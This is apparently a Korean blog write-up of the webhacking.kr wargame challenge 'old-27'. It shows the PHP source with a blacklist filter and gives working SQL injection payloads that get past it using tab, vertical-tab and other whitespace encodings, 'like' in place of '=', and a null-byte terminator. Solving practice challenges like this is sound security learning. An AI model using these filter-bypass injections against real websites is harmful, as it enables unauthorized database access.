본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-27

< 문제 해설 >

 

< 코드:1 >
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

 

 

그림 1

 

 

그림 1에서 1을 입력 시 no=(1)이 되고, guest가 출력된다. < 코드 1>을 보면, id = admin일 경우 no = 2라고 한다. 그러므로 아래 그림 2와 같은 코드를 injection 해준다. 

 

 

그림 2

 

< 코드:2 >
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=(0) or no like 2--

 

공백문자가 필터링되고, = 문자가 필터링되고 있으므로, 공백은 %09로 = 는 like 구문으로 우회해 주었다. 

 

?no=0)%09or%09no%09like%092--%09 해당 구문 Injection 시 사용할 수 있는 공백문자는 아래와 같다.  

==> %09, %0b,%0d ,%0c ( %0a는 계속 시도했으나, 되지 않았다.. )

 

하지만, %0a를 아래 구문과 같이 사용하면, injection이 성공하게 되었다. ;는 쿼리의 끝을 알리며, %00은 널문자이고, -- 대신 사용해 줄 수 있다. 

 

no=0)or%0aid%0alike%0a"admin";%00

 

 

 

한줄 평: 쿼리가 no=() 괄호와 같은 형태를 띠는 것을 몰랐다.. 코드를 자세히 보지 않은 탓 인듯하다... 그리고 %0a는 뭘까..